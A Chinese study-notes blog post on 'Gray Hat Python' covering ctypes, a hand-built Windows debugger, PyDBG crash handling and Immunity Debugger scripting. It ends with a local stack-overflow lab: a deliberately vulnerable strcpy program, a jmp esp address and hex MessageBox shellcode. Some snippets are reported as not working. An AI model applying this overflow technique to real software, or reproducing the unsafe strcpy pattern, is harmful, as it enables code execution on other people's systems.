Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决

摘要:
例如,如果我们设置内存写入断点,我将使该区域没有写入权限。然后当执行完成时,将触发保护页异常,CPU将暂停并中断。第三章自己编写Windows调试器。我要走了。看来标题很高。等等

↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑电脑端的可以看看目录

跟着学习进度不断更新中。。。。(因为懒,没更新了,也不打算继续更新文章了......)

power by 《python灰帽子--黑客与逆向工程师的Python编程之道》

欢迎光顾我的新博客:https://www.giantbranch.cn

本文链接:http://blog.csdn.net/u012763794/article/details/52174275

自从上次读了python黑帽子(http://blog.csdn.net/u012763794/article/details/50612756),感觉作者写的书还不错,现在来读读python灰帽子吧(感谢翻译书的人,让我们有这么好的学习教材)

同样给书中全部代码链接(代码除了常量定义,都是手敲的,还包含了我自己写的实验程序哦)(github):https://github.com/giantbranch/gray-hat-python-src

第一章 环境搭建

1.操作系统准备:

这个没什么好说的了,win+linux,最好的解决方案就是虚拟机了,如果你土豪就两台电脑也是挺好的

2.获取python:

作者是2.5太老了,我们尝试2.7吧,很多linux都是自带的了,在windows装去吧

3.配置编程环境开始编程吧

作者是eclipse和PyDev, 其实我喜欢用用sublime和pycharm

据说ctypes库是很多库的基础哦,什么python调用动态链接库,创建复杂的C数据类型和底层操作函数等


使用动态链接库

windows下:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第1张

linux下:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第2张

构造C数据类型

首先我们看看三者的对应关系

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第3张

代码清单

# -*- coding: utf-8 -*-
# @Date    : 2016-08-10 20:30:23
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from ctypes import *
c_int()
c_char_p('Hello world!')
c_ushort(65531)
c_short(-5)
seitz = c_char_p("loves the python")
print seitz
print seitz.value
exit()

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第4张

定义结构体和联合体

结构体

//C语言
struct beer_recipe{
	int amt_barley;
	int amt_water;
};

#python
class beer_recipe(Structure):
	_fields_ = [
		("amt_barley", c_int),
		("amt_water", c_int),
	]

联合体

//C语言
union{
	long barley_long;
	int barley_int;
	char barley_char[8]
}barley_amount;

#python
class barley_amount(Union):
	_fields_ = [
		("barley_long", c_long),
		("barley_int", c_int),
		("barley_char", c_char*8),
	]


实践一下


Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第5张

第二章 调试器的设计

我去,一上来就搞这个, 既然来了,就坚持干下去

1.通用寄存器

2.栈

上面两个这些建议看其他书吧,什么加密与解密,反正逆向的书都有讲吧

3.调试事件

就是调试器捕捉到的事件,比如说什么断点触发,内存违例(也叫访问违例或者段错误),程序异常等

当调试器检测到这些事件,调用一个与之对应的处理函数

4.断点

就是想让程序在执行到什么时候,暂停下来,方便观察堆栈,寄存器和内存的数据, 破解明文比较的验证码就是这样的了

软件断点

这是一个使用最多的断点,od就是F2,本质就是一个单字节的指令,用于暂停被执行的程序,并将控制权转移给调试器的断点处理函数

这个单字节的操作码是3号中断指令(INT 3),转化成机器码(或者操作码)就是 0xCC

比如我们 要在 mov eax,ebx 处暂停,对应的机器码是 8BC3,那么下断后就变成 CCC3了

那么当我们按下分F2,调试器如何工作的呢? 首先读取目标地址的第一个字节的操作码,同时储存在内部的中断列表中,跟着就把那个字节改为CC,

当CPU执行到那,触发INT 3中断事件,调试器就捕捉到,判断这个地址(通过eip获取)是不是之前设置断点的地址,是的话就从内部的断点列表(跟上面的中断列表一个意思吧)找到这个地址,将之前储存的操作码写回该地址,

硬件断点

作用:有时候一些软件会做crc校验或其他校验,因为我们下断点改了指令,是校验值改变了,有些软件或者病毒什么的就直接退出了,

那么硬件断点就可以在 某个小区块设置断点,又不修改他们

硬件断点被设置在CPU级别,用的是特定的寄存器:调试寄存器,有8个哦(DR0-7)

0-3储存硬件断点地址,所以同一时间只能设置4个硬件断点

DR4,5保留,DR6是状态寄存器(说明了被断点触发的调试事件的类型)

DR7本质上是一个硬件断点的开关寄存器,同时储存了断点的不同类型

有以下3个类型

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第6张

硬件断点是用INT 1中断(INT 1 负责硬件中断和步进事件)

由于硬件断点最多只能对4字节下断,如果要跟踪一大片区域就要用的内存断点了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第7张

内存断点

这个其实不是真的断点,其实是改变了某个块或者某个页的权限。

比如我们设置内存写入断点, 我就让这个区域没有写入权限,那么当执行到写入时,就会触发保护页异常,cpu就会暂停下来,就断下来了。

第三章 自己动手写一个windows调试器

我去,看这标题好像很高大上啊,坚持!!!奋斗

3.1 尝试用python创建要调试的程序的进程

那开始吧

下面这个是储存一些配置信息的

# -*- coding: utf-8 -*-
# @Date    : 2016-08-11 16:07:38
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

#把所有的结构体,联合体,常量等放这,方便以后维护

from ctypes import *

# 给ctypes类型重新命名,跟windows编程接轨吧
WORD	= c_ushort
DWORD	= c_ulong
LPBYTE	= POINTER(c_ubyte)
LPTSTR 	= POINTER(c_char)
HANDLE	= c_void_p

#常量
DEBUG_PROCESS = 0x00000001
CREATE_NEW_CONSOLE = 0x00000010

#CreateProcessA()函数的结构,(用于设置创建子进程的各种属性)
class STARTUPINFO(Structure):
	_fields_ = [
		("cb",	DWORD),
		("lpReserved",	LPTSTR),
		("lpDesktop",	LPTSTR),
		("lpTitle",	LPTSTR),
		("dwX",	DWORD),
		("dwY",	DWORD),
		("dwXSize",	DWORD),
		("dwYSize",	DWORD),
		("dwXCountChars",	DWORD),
		("dwYCountChars",	DWORD),
		("dwFillAttribute",	DWORD),
		("dwFlags",	DWORD),
		("wShowWindow",	WORD),
		("cbReserved2",	WORD),
		("lpReserved2",	LPTSTR),
		("hStdInput",	DWORD),
		("hStdOutput",	DWORD),
		("hStdError",	DWORD),
	]

#进程的信息:进程线程的句柄,进程线程的id	
class PROCESS_INFORMATION(Structure):
	_fields_ = [
		("hProcess",	HANDLE),
		("hThread",		HANDLE),
		("dwProcessId",	DWORD),
		("dwThreadId",	DWORD),
	]

至于这两个数据结构可以查看msdn,下面给出STARTUPINFO截图

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第9张

一个debuger类

# -*- coding: utf-8 -*-
# @Date    : 2016-08-11 16:48:16
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32
class debugger():
	
	def __init__(self):
		pass
	def load(self, path_to_exe):
		creation_flags = DEBUG_PROCESS
		startupinfo = STARTUPINFO()
		process_information = PROCESS_INFORMATION()
		startupinfo.dwFlags = 0x1
		startupinfo.wShowWindow = 0x0
		startupinfo.cb = sizeof(startupinfo)
		if kernel32.CreateProcessA(path_to_exe,
									None,
									None,
									None,
									None,
									creation_flags,
									None,
									None,
									byref(startupinfo),
									byref(process_information)):
			print "[*] we have successfully launched the process!"
			print "[*] PID:%d" % process_information.dwProcessId
		else:
			print "[*] Error:0x%08x." % kernel32.GetLastError()

			

启动代码

# -*- coding: utf-8 -*-
# @Date    : 2016-08-12 14:18:10
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

import my_debugger
debugger = my_debugger.debugger()
debugger.load("C:\WINDOWS\system32\calc.exe")

结果:可以看到启动计算器成功,还获取到了其pid,但是我们的任务管理器看不到,原来是因为进程没把解密绘画到屏幕上,他在等待调试器继续执行的命令,接下来我们就去干啦~~~~

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第10张

继续出发,尝试实现附加到一个正在运行的程序上面进行附加

在debugger类中加入了以下的代码

# 获取进程的句柄,要调试当然要全不权限了		
	def open_process(self, pid):
		h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, pid, False)
		return h_process
			
	def attach(self, pid):
		self.h_process = self.open_process(pid)
		#尝试附加到某个pid的程序上
		if kernel32.DebugActiveProcess(pid):
			self.debugger_active = True
			self.pid = pid
			self.run()
		else:
			print "[*] Unable to attach to the process."
	
	#既然都附加上去了,等待调试事件咯
	def run(self):
		while self.debugger_active == True:
			self.get_debug_event()

	# 等待调试事件,获取调试事件
	def get_debug_event(self):
		debug_event = DEBUG_EVENT()
		continue_status = DBG_CONTINUE
		#INFINITE表示无限等待
		if kernel32.WaitForDebugEvent(byref(debug_event), INFINITE):
			#现在我们暂时不对事件进行处理
			#现在只是简单地恢复进程的运行吧
			raw_input("Press a key to continue...")
			self.debugger_active = False
			kernel32.ContinueDebugEvent(debug_event.dwProcessId,debug_event.dwThreadId, continue_status)

	def detach(self):
		if kernel32.DebugActiveProcessStop(self.pid):
			print "[*] Finished debugging. Exiting..."
		else:
			print "There was an error"
			return False

test.py也改一下

import my_debugger
debugger = my_debugger.debugger()
# debugger.load("C:\WINDOWS\system32\calc.exe")
pid = raw_input("Enter the PID of the process to attach to:")
debugger.attach(int(pid))
debugger.detach()

常量也要加一下哦,放在报什么没定义的,将作者的代码一贴

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第11张

不知道为啥附加不到计算器上 ,难道是权限问题?

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第12张

附加到CTF的reverseme就可以,附加后,输入key回车后没反应,跟着我们任意按个键continue,那就从哪个进程分离了,就输出你输入的key是错误的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第13张

还发现下面两个参数调转都能运行,不过第二行的是跟windows多的一样的参数顺序

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第14张

3.2 获得CPU寄存器状态

1. 枚举线程

CreateToolhelp32Snapshot可以获取线程,进程,模块,堆的信息,这里我们当然设置获取线程的信息

Thread32First枚举线程,看看他对应的进程是不是我们调试的进程

跟着就直接Thread32Next循环调用就可以了

2 .把所有的组合起来

可通过GetThreadContext获取寄存器的值,SetThreadContext可以改变他们哦

新增代码:

def open_thread(self, thread_id):
		h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_id)
		if h_thread is not None:
			return h_thread
		else:
			print "[*] Could not obtain a valid thread handle."
			return False
	
	def enumerate_threads(self):
		thread_entry = THREADENTRY32()
		thread_list = []
		snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid)
		if snapshot is not None:
			thread_entry.dwSize = sizeof(thread_entry)
			success = kernel32.Thread32First(snapshot,  byref(thread_entry))
			while success:
				if thread_entry.th32OwnerProcessID == self.pid:
					thread_list.append(thread_entry.th32ThreadID)
				success = kernel32.Thread32Next(snapshot, byref(thread_entry))

			kernel32.CloseHandle(snapshot)
			return thread_list
		else:
			print "enumerate_threads fail."
			return False

	def get_thread_context(self, thread_id):
		context = CONTEXT()
		context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS
		h_thread = self.open_thread(thread_id)
		if kernel32.GetThreadContext(h_thread, byref(context)):
			kernel32.CloseHandle(h_thread)
			return context
		else:
			print "get_thread_context fail."
			return False

my_test

# -*- coding: utf-8 -*-
# @Date    : 2016-08-12 14:18:10
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

import my_debugger
debugger = my_debugger.debugger()
# debugger.load("C:\WINDOWS\system32\calc.exe")
pid = raw_input("Enter the PID of the process to attach to:")
debugger.attach(int(pid))

threadList = debugger.enumerate_threads()
print threadList
for thread in threadList:
	thread_context = debugger.get_thread_context(thread)
	# %08x就是8位的十六进制,不够就0补充咯
	print "[*] Dumping registers for thread ID:0x%08x" % thread
	print "[**] EIP:0x%08x" % thread_context.Eip
	print "[**] ESP:0x%08x" % thread_context.Esp
	print "[**] EBP:0x%08x" % thread_context.Ebp
	print "[**] EAX:0x%08x" % thread_context.Eax
	print "[**] EBX:0x%08x" % thread_context.Ebx
	print "[**] ECX:0x%08x" % thread_context.Ecx
	print "[**] EDX:0x%08x" % thread_context.Edx
	print "[*] END DUMP"

debugger.detach()


日了dog,出来注释这个

# raw_input("Press a key to continue...")
			# self.debugger_active = False

还要把run注释掉

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第15张
 

运行结果:可以看到我们也可以获取各个寄存器的值啦,同时这个进程有两个线程哦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第16张

3.3 实现调试事件的处理

新增了这个,mytest就看书吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第17张

运行结果:可以获取到调试事件和线程id了(下面的get_thread_context fail.忽略,那个自己print出来的,作者那里有点问题,上面应该是传threadid的)

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第18张

其中3是进程创建进程事件,6是load dll,2是创建新的线程,1是windows设置断点引发的吧,4就是线程结束自身了

# 调试事件常量
EXCEPTION_DEBUG_EVENT      =    0x1
CREATE_THREAD_DEBUG_EVENT  =    0x2
CREATE_PROCESS_DEBUG_EVENT =    0x3
EXIT_THREAD_DEBUG_EVENT    =    0x4
EXIT_PROCESS_DEBUG_EVENT   =    0x5
LOAD_DLL_DEBUG_EVENT       =    0x6
UNLOAD_DLL_DEBUG_EVENT     =    0x7
OUTPUT_DEBUG_STRING_EVENT  =    0x8
RIP_EVENT                  =    0x9


我们继续...,那个1号Code很重要,可能包括断点,访问异常或者内存访问错误。我们首先捕捉第一个windows设置的断点吧 

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第19张

运行结果: 可以在1号code处输出信息啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第20张

3.4 全能的断点

1.  软件断点

我们要将0xCC写入内存,原来的指令也要读取出来吧

用的两个API  ReadProcessMemory和WriteProcessMemory

加了这几个函数

def read_process_memory(self, address, length):
		data = ""
		read_buf = create_string_buffer(length)	
		count = c_ulong(0)
		if not kernel32.ReadProcessMemory(self.h_process, address, read_buf, length, byref(count)):
			return False
		else:
			data += read_buf.raw
			return data

	def write_process_memory(self, address, data):
		count = c_ulong(0)
		length = len(data)
		c_data = c_char_p(data[count.value:])
		if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, byref(count)):
			return False
		else:
			return True

	# 设置断点
	def bp_set(self, address):
		# 看看断点的字典里是不是已经存在这个断点的地址了
		if not self.breakpoints.has_key(address):
			try:
				# 先读取原来的一个字节,保存后再写入0xCC
				original_byte = self.read_process_memory(address, 1)
				self.write_process_memory(address, 'xCC')
				self.breakpoints[address] = (address, original_byte)
			except:
				return False
		return True

	# 获取某个模块(一般是dll)中的某个函数的地址
	def func_resolve(self, dll, function):
		handle = kernel32.GetModuleHandleA(dll)
		address = kernel32.GetProcAddress(handle, function)
		kernel32.CloseHandle(handle)
		return address

接下来是调试下面这个python程序

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第21张

不知道为啥那个断点出不来

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第22张

经过排查,原来是读写内存出了问题

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第23张

通过GetLastError知道错误码为6,即无效的句柄

原来这个高清电子书里面的代码是错的,就说怎么跟windows的API的参数顺序不一样呢, 不过作者给的源码是没错的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第24张

运行结果:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第25张

怎么连续断了两次,

而且紧接着下面怎么无效出现内存访问XXXXX,而且速度很快,哎这个暂时搁着吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第26张

2. 硬件断点

代码就不贴了,主要是这三个函数,

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第27张

这次是比较成功的,代码看书吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第28张

3. 内存断点

代码:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第29张

成功:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第30张

基本上这就开发了一个基于Windows的轻量级调试器。感觉实在用python来做Win32编程微笑

第四章 PyDBG——纯PYTHON调试器

pydbg的安装可以参照这个http://blog.csdn.net/cheng_tian/article/details/7652058

1. 扩展断点处理

代码 ,另外还用到上次的printf_loop

# -*- coding: utf-8 -*-
# @Date    : 2016-08-14 10:04:29
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from pydbg import *
from pydbg.defines import *
import struct
import random

# 这是我们定义的回调函数
def printf_randomizer(dbg):
	# 用esp索引count局部变量的值
	parameter_addr = dbg.context.Esp + 0x8
	counter = dbg.read_process_memory(parameter_addr, 4)

	print repr(counter) 
	# L表示unsigned long的意思
	# print struct.unpack("L", counter)
	counter = struct.unpack("L", counter)[0]
	print "Counter:%d" % int(counter)

	# 生成1到100的随机数,再转换成二进制格式的
	random_counter = random.randint(1, 100)
	random_counter = struct.pack("L", random_counter)[0]
	print repr(random_counter)

	dbg.write_process_memory(parameter_addr, random_counter)
	print GetLastError()
	return DBG_CONTINUE

dbg = pydbg()
pid = raw_input("Please Enter the printf_loop.py PID:")
# 附加
dbg.attach(int(pid))
printf_address = dbg.func_resolve("msvcrt", "printf")
# description为断点设置名字,handler设置回调函数
dbg.bp_set(printf_address, description="printf_address", handler=printf_randomizer)
# 启动起来
dbg.run()

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第32张

struct.pack用于将Python的值根据格式符,转换为字符串(因为Python中没有字节(Byte)类型,可以把这里的字符串理解为字节流,或字节数组)。

struct.unpack做的工作刚好与struct.pack相反,用于将字节流转换成python数据类型。它的函数原型为:struct.unpack(fmt, string),该函数返回一个元组。

但运行结果出问题了,第一个读取的数据不对,第二个没有写入成功,但获取最后一次错误又没有错误

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第33张

根据栈的结构应该是没错的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第34张

跟着我就用od找错误去了,直接输入断在printf上

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第35张

但是这里默认使用的是msvcr90这个模块

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第36张

第二个断点是下面的python代码从msvcrt找到的断点

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第37张

跟od的不一样,我们再看看断在msvcrt的printf的断点时的栈的结构

好像都直接优化掉了还是怎么样

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第38张

到这里我想解决方法有两个:

一个将msvcrt换成msvcr90试试

另外一个就是读出esp+4后,进一步再读那个地址里面的东西,再提取出数字,

先试试第一个:将msvcrt换成msvcr90,结果还是不行大哭,我是不会那么容易被打败的,上神器od,不断地对那个变化的counter下硬件写入断点,就是图中的数字,终于找到了可能突破的点,发现调用的轨迹:

call python27.PyOS_snprintf ----> msvcr90._vsnprintf --> msvcr90.printf

而参数入栈在_vsnprintf 就已经搞定了,到后面的printf直接压字符串入栈就可以了,应该msvcrt也是一样的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第40张

那么我们改成_vsnprintf 看看,好像失败了,读出后不知如何再利用读出的地址再读

但发现有个更直接的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第41张

写入时成功写入了,但好像这断点用了两次

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第42张

那么我们试试当Counter为那个数值的时候直接pass掉

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第43张

哈哈,成功啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第44张

具体为什么会这样,而作者会成功呢,难道是python版本的问题?这是一个值得思考的问题

解决这个问题不容易啊~,这个问题先记在这了, 知道的各位兄弟可以评论,或者私信给我,感谢~~~~

2. 处理访问违规

当程序没权限或者以不合法的方式访问内存的时候就是访问违规,如 内存溢出,不恰当处理空指针等

首先没有utils的安装一下,参考下面的链接 :

http://www.h4ck.org.cn/2012/06/pydbg安装(《python-灰帽子》)/

代码:

# -*- coding: utf-8 -*-
# @Date    : 2016-08-14 20:53:53
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from ctypes import *
msvcrt = cdll.msvcrt
raw_input("Once the debugger is attached, press any key.")
# 定义一个缓冲区
buffer = c_char_p("AAAAA")
# 用于溢出的字符串
overflow = 'A' * 100
# 溢出
msvcrt.strcpy(buffer, overflow)
# -*- coding: utf-8 -*-
# @Date    : 2016-08-14 20:57:34
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from pydbg import *
from pydbg.defines import *
import utils

def check_accessv(dbg):
	if  dbg.dbg.u.Exception.dwFirstChance:
		return DBG_EXCEPTION_NOT_HANDLED
	crash_bin = utils.crash_binning.crash_binning()
	crash_bin.record_crash(dbg)
	dbg.terminate_process()
	return DBG_EXCEPTION_NOT_HANDLED

pid = raw_input("Enter the Process ID:")
dbg = pydbg()
dbg.attach(int(pid))
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_accessv)
dbg.run()


怎么什么事都没发生,不科学

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第45张
 

原来忘记打print了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第46张

运行结果:

第一个指出了那个指令引发的访问异常,及指令在那个块中

python27.dll:5c5aa6d0 mov ecx,[eax+0x10]

第二个有各个寄存器的信息,(框住的地方)

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第47张

附近的汇编代码, 函数或者模块栈, 最后就是结构化异常处理程序列表

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第48张

3. 进程快照

1. 获得进程快照

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第49张

乱输入,再restore的时候出错了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第50张

暂时找不出原因

2.组合代码

直接给代码,但实际运行不起来啊

# -*- coding: utf-8 -*-
# @Date    : 2016-08-14 22:31:08
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from pydbg import *
from pydbg.defines import *
import utils

# 设置我们要监视的代码的数量,就是内存访问违规后输出多少代码(指令)
MAX_INSTRUCTIONS = 10
# 一些危险的函数
dangerous_functions = {
	"strcpy":"msvcrt.dll",
	"strncpy":"msvcrt.dll",
	"sprintf":"msvcrt.dll",
	"vsprintf":"msvcrt.dll"
}
dangerous_functions_resolved = {}
crash_encountered = False
instruction_count = 0
def danger_handler(dbg):
	esp_offset = 0
	print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]
	print "================================================================================"
	while esp_offset<=20:
		parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset)
		print "[ESP + %d] => %s" % (esp_offset, parameter)
		esp_offset += 4
	print "================================================================================"
	dbg.suspend_all_threads()
	dbg.process_snapshot()
	dbg.resume_all_threads()
	return DBG_CONTINUE
def access_violation_handler(dbg):
	global crash_encountered

	if dbg.dbg.u.Exception.dwFirstChance:
		return DBG_EXCEPTION_NOT_HANDLED
	crash_bin = utils.crash_binning.crash_binning()
	crash_bin.record_crash(dbg)
	print crash_bin.crash_synopsis()

	if crash_encountered == False:
		dbg.suspend_all_threads()
		dbg.process_restore()
		crash_encountered = True

		for thread_id in dbg.enumerate_threads():
			print "[*] Setting single step for thread:0x%08x" % thread_id
			h_thread = dbg.open_thread(thread_id)
			dbg.single_step(True, h_thread)
			dbg.close_handle(h_thread)

		dbg.resume_all_threads()
		return DBG_CONTINUE
	else:
		dbg.terminate_process()
		return DBG_EXCEPTION_NOT_HANDLED

def single_step_handler(dbg):
	global instruction_count
	global crash_encountered
	if crash_encountered:
		if instruction_count == MAX_INSTRUCTIONS:
			dbg.single_step(False)
			return DBG_CONTINUE
		else:
			instruction = dbg.disasm(dbg.context.Eip)
			print "#%d	0x%08x : %s" % (instruction_count, dbg.context.Eip, instruction)
			instruction_count += 1
			dbg.single_step(True)
	return DBG_CONTINUE

dbg = pydbg()
pid = int(raw_input("Enter the PID you wish to monitor:"))
dbg.attach(pid)
for func in dangerous_functions.keys():
	func_address = dbg.func_resolve(dangerous_functions[func], func)
	print "[*] Resolved breakpoint:%s -> 0x%08x" % (func, func_address)
	dbg.bp_set(func_address, handler=danger_handler)
	dangerous_functions_resolved[func_address] = func
	dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, access_violation_handler)
	dbg.set_callback(EXCEPTION_SINGLE_STEP, single_step_handler)
	dbg.run()

断点设置不成功骂人

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第52张

第五章 IMMUNITY———最好的调试器

1.安装Immunity调试器

好像可能python版本过高,导致immunity调试器闪退

2.Immunity Debugger 101

界面就不用说了,跟OD差不多

1.PyCommands

我们在调试器中执行python就是使用PyCommands

基础模型:

from immlib import *
def main(args):
	imm = Debugger()
	return "[*] PyCommand Executed!"

有两个必备条件:

一是main函数,只接收一个参数(由所有参数组成的python列表)

另一个是执行完成必须返回一个字符串

执行命令前在命令前加个叹号,如下

!<scriptname>
 

2.PyHooks

Immunity Debugger包含了13种不同类型的hook,每一种都能单独实现,或嵌入PyCommand

具体哪13种呢,下面的懒得打字了,截图吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第53张Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第54张Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第55张

3.Exploit开发

其实是利用Pycommands加速exploit开发吧

注意写完后的脚本放到PyCommands目录就行了

1.找出友好的利用指令

尝试运行出错了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第56张

这个作者的代码有点老了,immunity的API更新了据说,有些函数是小写开头的,修改处已圈出

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第57张

打开一个ctf的crackme 运行脚本看看

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第58张

可以看到找到了两个可利用的地址

可以看到参数是以元组进行传递的

我们利用join将元组转化为字符串,

再利用assemble函数将他转化为十六进制指令 ff e4

2.过滤有害字符

什么是有害字符呢,加入我们在strcpy调用中发现缓冲区溢出,我们的利用代码就不能包含NULL字符(0x00),因为strcpy一遇到NULL字符就会停止拷贝数据

因此要先将shellcode编码,执行再解码

有各种原因导致exploit编写失败,比如有多重的字符编码

20160818

这一课非常心累,作者就草草地说一下,并没有给缓冲区溢出的程序(还要自己写一下缓冲区溢出的实例),而且immunity_debugger又各种问题,第一闪退,有些版本还是无法调试的,能调试的又运行不了脚本,没做过真是不知其中的痛苦啊

首先来个缓冲区溢出的代码,我还是另外搞一篇我的第一个缓冲区溢出实例

以下代码灵感来源于0day安全

#include <stdio.h>
#include <windows.h>

int overflow_here(char *key){
	char buffer[66];
	strcpy(buffer, key);
	return 0;
}

int main(){
	char  key[666];
	FILE *fp;
	LoadLibrary("user32.dll");
	if (!(fp = fopen("key.txt", "rw+"))){
		exit(0);
	}
	fscanf(fp, "%s", key);
	overflow_here(key);
	printf("come on, overflow me!");
	return 0;
}

那我们先用之前的findinstruction来找jmp esp吧

 Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第59张

用第一个吧

0x77562fbd

这个地址 不同机器,或者重启后就改变了的,注意哦

接下制作我们的弹框shellcode,直接用od就可以制作啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第60张

跟着可以这样复制出来

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第61张

一粘贴就是下面的效果
33 DB 53 68 6E 63 68 21 68 74 62 72 61 68 67 69 61 6E 8B C4 53 50 50 53 B8 D6 FC C0 76 FF D0

标红的部分要根据当前机器的MessageBox的地址作相应修改

最后用16进制工具编辑成这样(注意我们输入的地址要小端模式哦),那个messageBox代码就不用逆序了,如果在你电脑上就要看看messageBox的地址是不是我这个了,不是就要改了[我的环境是win 7 64位]

 Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第62张

用od调试看看,可以看到返回地址被我们覆盖了

 Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第63张

F9直接让od运行吧,成功弹窗实验成功

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第64张

现在才开始我们的书里面的badchar的运行,载入Immunity Debugger,运行到strcpy的下一句,执行一下badchar脚本

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第65张

badchar代码:(作者的代码的变量是有问题的,这里已修复)

# -*- coding: utf-8 -*-
# @Date    : 2016-08-15 11:33:42
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from immlib import *
def main(args):
	imm = Debugger()
	bad_char_found = False
	address = int(args[0], 16)
	shellcode = "33DB53686E6368216874627261686769616E8BC453505053B8D6FCC076FFD0"
	shellcode_length = len(shellcode)
	debug_shellcode = imm.readMemory(address, shellcode_length)
	debug_shellcode = debug_shellcode.encode("HEX")
	imm.log("Address:0x%08x" % address)
	imm.log("Shellcode Length:%d" % shellcode_length)
	imm.log("Attack Shellcode:%s" % shellcode[:512])
	imm.log("In Memory Shellcode:%s" % debug_shellcode[:512])

	count = 0
